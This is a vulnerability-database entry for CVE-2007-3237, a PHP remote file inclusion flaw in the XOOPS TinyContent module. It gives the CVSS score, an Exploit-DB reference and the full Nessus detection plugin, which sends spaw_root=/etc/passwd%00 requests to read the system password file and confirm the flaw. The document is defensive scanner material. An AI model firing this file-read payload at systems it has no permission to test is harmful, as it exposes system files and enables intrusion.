Vulnerabilities > CVE-2007-3237 - Remote Security vulnerability in Xoops Tinycontent Module 1.5

047910
CVSS 6.8 - MEDIUM
Attack vector
NETWORK
Attack complexity
MEDIUM
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
xoops
nessus
exploit available

Summary

PHP remote file inclusion vulnerability in admin/spaw/spaw_control.class.php in the TinyContent 1.5 module for XOOPS allows remote attackers to execute arbitrary PHP code via a URL in the spaw_root parameter. NOTE: this issue is probably a duplicate of CVE-2006-4656.

Vulnerable Configurations

Part Description Count
Application
Xoops
1

Exploit-Db

descriptionXOOPS Module TinyContent 1.5 Remote File Inclusion Vulnerability. CVE-2007-3237. Webapps exploit for php platform
fileexploits/php/webapps/4063.txt
idEDB-ID:4063
last seen2016-01-31
modified2007-06-12
platformphp
port
published2007-06-12
reporterSp[L]o1T
sourcehttps://www.exploit-db.com/download/4063/
titlexoops module tinycontent 1.5 - Remote File Inclusion Vulnerability
typewebapps

Nessus

NASL familyCGI abuses
NASL idXOOPS_ICONTENT_SPAW_ROOT_FILE_INCLUDE.NASL
descriptionThe remote host is running a third-party module for XOOPS. The version of at least one such module installed on the remote host includes a copy of the SPAW PHP WYSIWYG editor control that fails to sanitize user-supplied input to the
last seen2020-06-01
modified2020-06-02
plugin id25372
published2007-06-02
reporterThis script is Copyright (C) 2007-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/25372
titleXOOPS Multiple Modules spaw_control.class.php spaw_root Parameter Remote File Inclusion
code
#
# (C) Tenable Network Security, Inc.
#


include("compat.inc");

if (description)
{
  script_id(25372);
  script_version("1.26");

  script_cve_id(
    "CVE-2007-3057", 
    "CVE-2007-3220", 
    "CVE-2007-3221", 
    "CVE-2007-3237", 
    "CVE-2007-3289"
  );
  script_bugtraq_id(24302, 24470);
  script_xref(name:"EDB-ID", value:"4022");
  script_xref(name:"EDB-ID", value:"4063");
  script_xref(name:"EDB-ID", value:"4069");
  script_xref(name:"EDB-ID", value:"4070");
  script_xref(name:"EDB-ID", value:"4084");

  script_name(english:"XOOPS Multiple Modules spaw_control.class.php spaw_root Parameter Remote File Inclusion");
  script_summary(english:"Tries to read a local file with spaw_control.class.php");

 script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is affected by a
remote file include vulnerability." );
 script_set_attribute(attribute:"description", value:
"The remote host is running a third-party module for XOOPS. 

The version of at least one such module installed on the remote host
includes a copy of the SPAW PHP WYSIWYG editor control that fails to
sanitize user-supplied input to the 'spaw_root' parameter of the
'spaw_control.class.php' script before using it to include PHP code. 
Provided PHP's 'register_globals' setting is enabled, an
unauthenticated attacker can exploit this issue to view arbitrary
files on the remote host or possibly to execute arbitrary PHP code,
perhaps from third-party hosts." );
 script_set_attribute(attribute:"solution", value:
"Disable PHP's 'register_globals' setting or contact the product's
author to see if an upgrade exists." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
 script_set_attribute(attribute:"exploit_available", value:"false");
 script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
 script_set_attribute(attribute:"canvas_package", value:'CANVAS');


 script_set_attribute(attribute:"plugin_publication_date", value: "2007/06/02");
 script_set_attribute(attribute:"vuln_publication_date", value: "2007/06/01");
 script_cvs_date("Date: 2018/08/07 16:46:49");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:xoops:xoops:xoops:icontent_module");
script_set_attribute(attribute:"cpe", value:"cpe:/a:xoops:xoops:xoops:cjay_content_module");
script_set_attribute(attribute:"cpe", value:"cpe:/a:xoops:xoops:xoops:xt-conteudo_module");
script_set_attribute(attribute:"cpe", value:"cpe:/a:xoops:xoops:tinycontent_module");
script_set_attribute(attribute:"cpe", value:"cpe:/a:xoops:xoops:wiwimod_module");
script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();


  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2007-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("xoops_detect.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);
  script_require_keys("www/xoops");
  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("data_protection.inc");

port = get_http_port(default:80, embedded: 0);
if (!can_host_php(port:port)) exit(0);


# Vulnerable modules
nmods = 0;
mod = make_array();
# -   Cjay Content 3
mod[nmods++] = "cjaycontent/admin/editor2";
# -   iContent
mod[nmods++] = "icontent/include/wysiwyg";
# -   TinyContent
mod[nmods++] = "tinycontent/admin/spaw";
# -   WiwiMod
mod[nmods++] = "wiwimod/spaw";
# -   XT-Conteudo
mod[nmods++] = "xt_conteudo/admin/spaw";


info = "";
contents = "";


# Test an install.
install = get_kb_item(string("www/", port, "/xoops"));
if (isnull(install)) exit(0);
matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");
if (!isnull(matches))
{
  dir = matches[2];

  # Try to exploit the flaw to read a file.
  file = "/etc/passwd";
  for (i=0; i<nmods; i++)
  {
    u = string(
        dir, "/modules/", mod[i], "/spaw_control.class.php?",
        "spaw_root=", file, "%00"
      );
    r = http_send_recv3(port:port, method: "GET", item: u);
    if (isnull(r)) exit(0);

    # There's a problem if...
    if (
      (
        # there's an entry for root or...
        egrep(pattern:"root:.*:0:[01]:", string:r[2]) ||
        # we get an error saying "failed to open stream" or...
        string("main(", file, "\\0config/spaw_control.config.php): failed to open stream") >< r[2] ||
        # we get an error claiming the file doesn't exist or...
        string("main(", file, "): failed to open stream: No such file") >< r[2] ||
        # we get an error about open_basedir restriction.
        string("open_basedir restriction in effect. File(", file) >< r[2]
      )
    )
    {
      info = info +
             "  " + dir + "/modules/" + mod[i] + "/spaw_control.class.php" + '\n';

      if (!contents && egrep(string:r[2], pattern:"root:.*:0:[01]:"))
        contents = r[2];

      if (!thorough_tests) break;
    }
  }
}

if (info)
{
  if (contents)
  {
    contents = data_protection::redact_etc_passwd(output:contents);
    info = string(
    "The following scripts(s) are vulnerable :\n",
    "\n",
      info,
      "\n",
      "And here are the (repeated) contents of the file '/etc/passwd' that\n",
      "Nessus was able to read from the remote host :\n",
      "\n",
      contents
    );
  }
  security_hole(port:port, extra: info);
}